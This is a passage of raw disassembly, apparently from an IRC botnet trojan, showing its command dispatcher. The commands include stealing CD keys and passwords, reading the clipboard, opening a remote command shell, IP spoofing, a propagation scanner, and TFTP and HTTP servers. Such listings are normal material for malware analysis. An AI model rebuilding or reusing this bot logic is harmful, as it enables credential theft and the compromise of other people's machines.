		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340B
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C8B0
		push	offset dword_42C8A4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_40340B:				; CODE XREF: sub_401ACD+1924j
		push	edi
		push	offset dword_42C8A0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403528
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C88C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40343F:				; CODE XREF: sub_401ACD+1956j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344D
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_401ACD+19CCj
		mov	eax, [ebp+arg_18]


loc_40344D:				; CODE XREF: sub_401ACD+197Bj
		cmp	[eax], bl
		jz	short loc_403454
		inc	eax
		jmp	short loc_403459
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_401ACD+1982j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403459:				; CODE XREF: sub_401ACD+1985j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_40344A
		push	offset unk_42C858
		call	sub_4151AD
		pop	ecx


loc_4034A6:				; CODE XREF: sub_401ACD+1C5Bj
					; sub_401ACD+2F44j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF5
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A23
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C824
		push	eax
		mov	dword_4CEDF8, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FE:				; CODE XREF: sub_401ACD+3023j
		cmp	[ebp+var_8], ebx
		jnz	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_403520:				; CODE XREF: sub_401ACD+7119j
		add	esp, 14h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_403528:				; CODE XREF: sub_401ACD+194Dj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B4
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C77C
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403693:				; CODE XREF: sub_401ACD+1BA8j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B4:				; CODE XREF: sub_401ACD+1B90j
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403708
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403708:				; CODE XREF: sub_401ACD+1C20j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372E
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A6


loc_40372E:				; CODE XREF: sub_401ACD+1C4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C710
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: sub_401ACD+1D07j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: sub_401ACD+1CF1j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42C6D4
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: sub_401ACD+1BF6j
					; sub_401ACD+1C0Bj
		mov	al, byte_431CD2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CD2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FE:				; CODE XREF: sub_401ACD+1D39j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403818:				; CODE XREF: sub_401ACD+2009j
		push	0Bh
		call	sub_40B33F
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C694
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_401ACD+1D65j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431AF0, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_431AF0


loc_40389C:				; CODE XREF: sub_401ACD+1DEDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: sub_401ACD+1DE3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431AF0[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D8:				; CODE XREF: sub_401ACD+1DC8j
					; sub_401ACD+1DEFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5E8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6D0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: sub_401ACD+1EB1j
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: sub_401ACD+1E8Fj
					; sub_401ACD+1E93j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D7F8
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: sub_401ACD+1F00j
		mov	[ebp+var_7D0], bl


loc_4039E8:				; CODE XREF: sub_401ACD+1F13j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: sub_401ACD+1F26j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C614
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: sub_401ACD+1FB5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9F
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: sub_401ACD+1FA3j
		call	near ptr 26A08B1h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5D8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: sub_401ACD+1FABj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403AC0:				; CODE XREF: sub_401ACD+1FD5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_403ACD:				; CODE XREF: sub_401ACD+1D95j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_401ACD+1E11j
		push	offset unk_42C5A0
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_401ACD+1B66j
					; sub_401ACD+1B7Bj
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_42C580
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: sub_401ACD+2028j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: sub_401ACD+203Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h


loc_403B38:				; CODE XREF: sub_401ACD+2055j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset byte_429108


loc_403B48:				; CODE XREF: sub_401ACD+2074j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C54C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_403C14


loc_403BFE:				; CODE XREF: sub_401ACD+2145j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2690F63h
		nop
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401ACD+212Fj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42C510
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_403C25:				; CODE XREF: sub_401ACD+1B3Cj
					; sub_401ACD+1B51j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C49
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_401ACD+2161j
					; sub_401ACD+216Cj
		mov	eax, dword_42907C


loc_403C49:				; CODE XREF: sub_401ACD+2175j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7C
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA7
; ---------------------------------------------------------------------------


loc_403C7C:				; CODE XREF: sub_401ACD+219Cj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2690B48h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA7:				; CODE XREF: sub_401ACD+21ADj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD2
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD2:				; CODE XREF: sub_401ACD+21EFj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4D4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_403D86


loc_403D74:				; CODE XREF: sub_401ACD+22B7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA1
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_403D74
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_401ACD+22A5j
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset unk_42C498


loc_403D92:				; CODE XREF: sub_401ACD+241Aj
					; sub_401ACD+4D05j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA1:				; CODE XREF: sub_401ACD+22ADj
					; sub_401ACD+23FEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	edi
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_401ACD+1B12j
					; sub_401ACD+1B27j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403DD0:				; CODE XREF: sub_401ACD+22EDj
					; sub_401ACD+22F8j
		mov	eax, dword_429080


loc_403DD5:				; CODE XREF: sub_401ACD+2301j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEC
		lea	eax, [ebp+var_C4]


loc_403DEC:				; CODE XREF: sub_401ACD+2317j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0E
		mov	esi, offset dword_43D7F8


loc_403E0E:				; CODE XREF: sub_401ACD+233Aj
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C45C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset word_410A4E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_403EDB


loc_403EC5:				; CODE XREF: sub_401ACD+240Cj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EDB:				; CODE XREF: sub_401ACD+23F6j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42C420
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: sub_401ACD+1AE8j
					; sub_401ACD+1AFDj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFF
		push	esi
		call	sub_41B779
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: sub_401ACD+2428j
		push	0Bh
		call	sub_40B35E


loc_403F06:				; CODE XREF: sub_401ACD+2430j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA57
		jmp	loc_4043BA
; ---------------------------------------------------------------------------


loc_403F26:				; CODE XREF: sub_401ACD+1ABEj
					; sub_401ACD+1AD3j
		mov	eax, dword_4CB560
		cmp	eax, ebx
		jz	short loc_403F43
		call	eax
		test	eax, eax
		jz	short loc_403F3C
		push	offset unk_42C3FC
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F3C:				; CODE XREF: sub_401ACD+2466j
		push	offset unk_42C3D0
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F43:				; CODE XREF: sub_401ACD+2460j
		push	offset unk_42C3A4


loc_403F48:				; CODE XREF: sub_401ACD+246Dj
					; sub_401ACD+2474j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDC
; ---------------------------------------------------------------------------


loc_403F5E:				; CODE XREF: sub_401ACD+1A94j
					; sub_401ACD+1AA9j
		call	sub_40AB32
		test	eax, eax
		jz	short loc_403F6E
		push	offset unk_42C380
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	offset unk_42C354
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F75:				; CODE XREF: sub_401ACD+1A6Aj
					; sub_401ACD+1A7Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F94
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C33C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403F94:				; CODE XREF: sub_401ACD+24ABj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D7
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C320
		jmp	loc_404286
; ---------------------------------------------------------------------------


loc_403FB6:				; CODE XREF: sub_401ACD+18FAj
					; sub_401ACD+190Fj
